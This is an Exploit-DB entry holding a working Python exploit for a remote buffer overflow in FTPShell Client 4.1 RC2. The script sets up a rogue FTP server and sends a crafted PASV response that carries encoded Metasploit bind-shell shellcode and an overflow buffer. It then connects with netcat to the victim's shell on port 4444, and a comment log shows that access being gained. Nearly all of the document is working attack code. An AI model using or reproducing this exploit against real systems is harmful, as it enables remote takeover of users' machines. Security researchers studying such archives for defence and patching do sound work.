Exploit-DB #9613
Description: FTPShell Client 4.1 RC2 - Remote Buffer Overflow (Universal)
Type: remote
Platform: windows
Date: 2009-09-09
Author: His0k4

Exploit:
#!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[+] Bug :	 FTPShell Client 4.1 RC2 Remote Buffer Overflow Exploit (univ)
#[+] Author :	 His0k4
#[+] Tested on : xp_sp3,w2k_sp4
#[+] Greetz :	 All friends
#		 piece of "zlabiya"

#---exploit-log---
#attacker@dz-labs:~/pentests/fuzzers/ftp$ python FTPShell_client.py
#[+] Listening on [FTP] 21
#[+] Connection accepted from: 192.168.1.3
#[+] Sending the malicious pasv response...
#[+] Done, wait for trying to connect to port 4444 on the target...
#
#(UNKNOWN) [192.168.1.3] 4444 (?) open
#Microsoft Windows XP [Version 5.1.2600]
#(C) Copyright 1985-2001 Microsoft Corp.
#
#C:\Documents and Settings\victim\Desktop>


from socket import *
import os
import time


# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com
stage2 =(
"\x44\x7A\x32\x37\x44\x7A\x32\x37"
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"
"\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38"
"\x4e\x46\x46\x42\x46\x32\x4b\x48\x45\x34\x4e\x43\x4b\x58\x4e\x57"
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x31\x4b\x38"
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x32\x4a\x32\x45\x57\x45\x4e\x4b\x48"
"\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x58\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x43\x30\x4e\x42\x4b\x38"
"\x49\x58\x4e\x56\x46\x52\x4e\x31\x41\x36\x43\x4c\x41\x53\x4b\x4d"
"\x46\x36\x4b\x38\x43\x34\x42\x53\x4b\x58\x42\x34\x4e\x30\x4b\x48"
"\x42\x37\x4e\x31\x4d\x4a\x4b\x38\x42\x44\x4a\x30\x50\x35\x4a\x36"
"\x50\x48\x50\x44\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x46"
"\x43\x55\x48\x46\x4a\x46\x43\x43\x44\x33\x4a\x56\x47\x57\x43\x57"
"\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x48\x45\x4e"
"\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x50\x45\x55\x4c\x56\x44\x30"
"\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45"
"\x4f\x4f\x48\x4d\x43\x35\x43\x35\x43\x35\x43\x35\x43\x55\x43\x54"
"\x43\x55\x43\x54\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x51"
"\x4e\x55\x48\x46\x43\x55\x49\x38\x41\x4e\x45\x39\x4a\x36\x46\x4a"
"\x4c\x51\x42\x47\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x51"
"\x41\x35\x45\x55\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d"
"\x4a\x36\x45\x4e\x49\x44\x48\x38\x49\x44\x47\x55\x4f\x4f\x48\x4d"
"\x42\x55\x46\x55\x46\x35\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
"\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x36\x48\x46\x4a\x56\x43\x36"
"\x4d\x36\x49\x58\x45\x4e\x4c\x46\x42\x35\x49\x55\x49\x52\x4e\x4c"
"\x49\x58\x47\x4e\x4c\x46\x46\x44\x49\x58\x44\x4e\x41\x43\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x34\x4e\x32"
"\x43\x39\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56"
"\x44\x47\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x57\x46\x54\x4f\x4f"
"\x48\x4d\x4b\x55\x47\x55\x44\x35\x41\x45\x41\x35\x41\x55\x4c\x46"
"\x41\x30\x41\x55\x41\x35\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x36"
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x45\x4e\x4f"
"\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d"
"\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x55\x43\x55\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a")

stage1=(
#[*] Using Msf::Encoder::PexAlphaNum with final size of 141 bytes
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x48\x36\x41\x38\x4c\x4c"
"\x4f\x4f\x4f\x50\x44\x34\x44\x55\x4c\x46\x44\x50\x4a\x35\x4d\x4c"
"\x50\x52\x4e\x33\x45\x30\x4c\x35\x46\x37\x4f\x4e\x4a\x4b\x46\x54"
"\x4c\x47\x44\x43\x47\x33\x4b\x58\x4c\x4f\x4f\x4a\x45\x37\x4c\x4e"
"\x4f\x4a\x45\x57\x47\x4e\x4f\x4f\x47\x4e\x4c\x50\x5a")


buffer =  stage1 #<---------------------------------|
buffer += '\x41'*(412-len(stage1)) #		    |
buffer += '\xC5\xB3\x43\x00'	# add esp,8;retn----|


s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 Hey victim batet fik!\r\n")
c.recv(1024)
time.sleep(0.5)
c.send("331 User anonymous OK Password required\r\n")
c.recv(1024)
time.sleep(0.5)
c.send("230 Ok.\r\n")
c.recv(1024)

# Enable this when client performs CWD command
#time.sleep(1)
#c.send("250 CWD command successful.\r\n")
#c.recv(1024)

time.sleep(0.5)
c.send("257 \x22/\x22 is current directory\r\n")
c.recv(1024)
time.sleep(0.5)
c.send("200 Type set to A.\r\n")
c.recv(1024)
time.sleep(0.5)
print "[+] Sending the malicious pasv response..."
c.send("227 "+stage2+"\r\n"
"227 Entering Passive Mode ("+buffer+").\r\n"
"\r\n")
time.sleep(2)
c.close()
s.close()
print("[+] Done, wait for trying to connect to the target on port 4444...\n")
time.sleep(25)
os.system("nc -nv "+addr[0]+" 4444")

# milw0rm.com [2009-09-09]